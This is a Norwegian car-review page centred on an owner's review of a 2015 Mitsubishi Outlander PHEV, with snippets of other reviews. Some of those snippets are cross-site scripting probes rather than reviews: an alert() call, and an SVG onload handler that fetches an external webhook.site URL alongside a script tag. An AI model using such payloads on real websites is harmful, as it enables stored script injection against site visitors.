Hvilken bil ser du etter?

Tilbake til front | Skriv en vurdering
Logg inn / Redigere
2015 Mitsubishi Outlander PHEV Instyle+ 2,0 202hk Sportspakke Sport Utility Vehicle Bensin/Batteri

Vurdert av Rustibus

Skriv en vurdering av denne bilen

Score 7.8/10

Mitsubishi Outlander PHEV med sin plug-in hybrid teknologi har vist vei for alle oss som har en god del småkjøring, og som trenger å være sikker på at vi kommer helt fram når vi skal på langtur. Bilen oppleves som komfortabel (passasjer-setet foran kunne hatt flere innstillingsmuligheter), og bilen kjører bra. En har litt dårlig sikt som følge av speil og A-stolpen, men med nyeste modells 360 grader radar blir det jo litt mer "sysnhjelp". Jeg vil vurdere ny Outlander med neste generasjons batteriteknologi og enda bedre komfort og kjøreteknologi.

Kjøreglede

8 / 10
Sprek nok til forbikjøring og til å trekke henger, god komfort på langkjøring og mestrer alle kjøreforhold bra. Litt "rank" i svinger, men en kjører da også en relativt høy SUV.

Kvalitet/driftssikkerhet

9 / 10
Bilen er til å stole på, og jeg har etter halvannet år ikke opplevd problem av noen art.

Plass/praktiske løsninger

6 / 10
Med stor batteripakke må en tåle litt svinn av bagasjeplass, men utformingen av bakluka er upraktisk fordi den har for stort innsving i øvre del. Det gjør at f.eks. hundebur (stor hund) ikke blir høyt nok i forhold til hundens behov for gulvareal. Ellers er det greie løsninger for bagasjeplass. Det er heller ikke plass til reservehjul i denne typen biler, så jeg håper medfølgende punkteringskit fungerer under alle forhold, hvis det blir bruk for.

Økonomi/kostnader

8 / 10
Det er perfekt med ladbar hybrid til småkjøring, og normalt kjører jeg laaaaangt mellom hver tankfylling. Men på langkjøring er 0,6 l/mil et bra resultat (bensin/hybrid), da bilen jo er tung. Hadde en 2006 Subaru Forester før denne, og da var jeg fornøyd hvis målingen viste rett under 0,8 på langkjøring. På korte turer var Forester svært tørst, og her kommer jeg ut med nær 0,0 med Outlander´n når jeg passer på å plugge inn om natta.

Drivstoff/forbruk

8 / 10
En må vite hva en skal bruke bilen til, og med mitt kjørebehov er det svært bra. At den på langkjøring ikke imponerer, må sees i sammenheng med at det er en stor og tung bil. Men det er jo å håpe at Mitsubishi (og andre bilprodusenter) greier å forbedre materialvalg, batterikapasitet og motoreffektivitet enda mer.

Les flere vurderinger:
Mitsubishi > Outlander PHEV > 2013-

Flere vurderinger fra samme generasjon

Mitsubishi Outlander PHEV (2020)

Veldig høyt bensinforbruk, batteridrift holder et par mil, men effektivt bare over 10 varmegrader. Rustutsatt mot kanter. dårlig kvalitet på og montering av plast- og gummidetaljer.

Score 6.2

Vurdert av gubbe

Mitsubishi Outlander PHEV (2020)

Veldig fornøyd

Score 7.6

Vurdert av Jandur

Mitsubishi Outlander PHEV (2020)

Problemer med hybridfunksjon og rusttendenser trekker ned vurderingen av denne bilen kraftig, som ellers er en helt ok, praktisk og kostnadseffektiv bil.

Score 6.2

Vurdert av Tobias

Mitsubishi Outlander PHEV (2020)

God bil. Har det som behøves av utstyr. Infotainment systemet er gammelt. Løsning for fjernstyring via app likeså; gammelt og tungvint. Mye piping fra systemet. Ikke lett å finne frem i menyer o

Score 8.8

Vurdert av Ebro

Mitsubishi Outlander PHEV (2020)

God bil å kjøre, god plass for passasjerer. Liker ikke at det ikke går å bremse på gir i lange nedover bakker, kun regenerert bremsing. Sliter mer bremser. Å veldig skuffet over lakk og stål kv

Score 6.2

Vurdert av Annkr

Mitsubishi Outlander PHEV (2020)

Bra bil. Men savner en skikkelig parkeringsvarmer som man kan nå via en app.

Score 7.2

Vurdert av Bileier66

Mitsubishi Outlander PHEV (2020)

Veldig fornøyd. Vi trengte firehjulstrekker med god plass etter hyttekjøp. Bilen lever godt opp til forventingene. Kjører så og si elektrisk tilogfra jobb i det daglige.

Score 9.6

Vurdert av Mathisen

Mitsubishi Outlander PHEV (2020)

Trygg og fin familiebil. Eneste irritasjonsmomentet mitt er at ved akselerasjon så spretter turtallet opp på max med en gang. Det «høres» feil ut i mine ører.

Score 9.0

Vurdert av Runepune

Mitsubishi Outlander PHEV (2020)

Hadde 2014-modell tidligere av samme type. Kjøpte ny i 2020 fobi jeg var så godt fornøyd med bilen

Score 9.4

Vurdert av Andron

Mitsubishi Outlander PHEV (2020)

Fornøyd med bilen med unntak av automatkassen som sitter i den. Den sliter jeg med å akseptere grunnet turtallet som fyker til topps altfor ofte.

Score 7.4

Vurdert av DMEIS

Mitsubishi Outlander PHEV (2020)

Fantastisk god bil som har forandet meg fra skeptiker til ihuga fan. Helt rå bil når det gjelder fremkommelighet i snø. Det beste er at automatikken gjør det nesten umulig å kjøre seg fast. Med

Score 9.6

Vurdert av Raymond

Mitsubishi Outlander PHEV (2019)

Har kjørt Mits. siden 2000, har aldri hatt problemer, ikke en reperasjon på noen av bilene.

Score 7.4

Vurdert av tinn

Mitsubishi Outlander PHEV (2019)

Krav til service pr. 12 mnd til en kostnad på ca. 7500.- for å opprettholde garantien er helt på tryne. Kjører 5000-6000 km pr. år. Dette medfører servicekostnader på kr. 12-15.- pr. mil. Sikk

Score 7.6

Vurdert av Nilseren

Mitsubishi Outlander PHEV (2019)

Hadde den gått det som den i utgangspunktet skulle gjøre, så hadde denne vært helt super. Kan nævnes at S Edition er en smule stiv i fjæring/demping. Bygd for fart

Score 8.2

Vurdert av Jostein

Mitsubishi Outlander PHEV (2019)

Kjempefornøyd med både bil og servis hos Motor Forum. Er tross alt 7 års garanti, og det sier jo litt om kvalitet.

Score 10

Vurdert av Nijovo

Flere vurderinger

Renault 5 E-Tech (2025)

Dette er virkelig en bil jeg anbefaler. Årets bil i Europa og Årets bil i Norge, med god grunn. Veldig kult retro-design. Legger til at Renault også hadde årets bil i Europa i 2024 med Scenic E-Te

Score 8.4

Vurdert av Knut

Citroën e-C4 (2025)

Jeg er foreløpig veldig fornøyd. Har slitt litt med å finne den optimale sittekomforten, men en pute gjorde susen der (jeg er 180 og trengte ekstra korsryggstøtte). Bilens automatikk passer meg ve

Score 9.0

Vurdert av Siri

Aston Martin DB9 GT (2017)

alert("total")

Score 5.0

Vurdert av test

Aston Martin DB9 GT (2017)

totalvurderingtest

Score 5.0

Vurdert av test

Abarth 500e (2024)

Score 10

Vurdert av Bernt

Abarth 500e (2024)

Score 1.0

Vurdert av xxxfooo4

Abarth 500e (2024)

xxxfooo4

Score 3.0

Vurdert av xxxfooo4

Abarth 500e (2024)

<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>

Score 6.2

Vurdert av Bernt

Volvo EX40 (2026)

Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass

Score 1.6

Vurdert av Jorsalfar1996

Ford Explorer EV (2025)

Kommer nok til å bytte den ut pga den nervøse oppførselen på vinterføre. Utenom dette svarer den godt på alle parametre.

Score 8.2

Vurdert av Adams

Ford Kuga (2021)

Forbruk. Gir en tier for forbruk langkjøring. 0,44 og forbruk 0,8 med campingvogn, totalvekt 1400 kg(ved tomt batteri). Rekkevidde elektrisk på vinter månedene er fra 20 - 30 km, blandet/bykjøring

Score 8.6

Vurdert av Viggo

Hongqi E-HS9 (2022)

Den er utrolig komfortabel, stille og har en kvalitet som overgår det meste på markedet. Har hatt bilen i 2år nå, å hele familien elsker bilen!

Score 8.2

Vurdert av MrP85

Mercedes-Benz EQC (2022)

Topp komfort og driftsikker.

Score 9.4

Vurdert av Renna

Polestar 2 (2022)

God kvalitetsfølelse. Gode (frem-) seter. Smart med OTA (oppdateringer over-the-air). Lett å selv restarte system og app etter behov. Pen bil! Praktisk med frunk for elkabler på langtur. (hvorfor h

Score 8.8

Vurdert av Autofilen

Mercedes-Benz GLE (2020)

Skuffende å måtte skifte opphengskuler foran på begge sider etter kun 75000 km

Score 9.6

Vurdert av Hans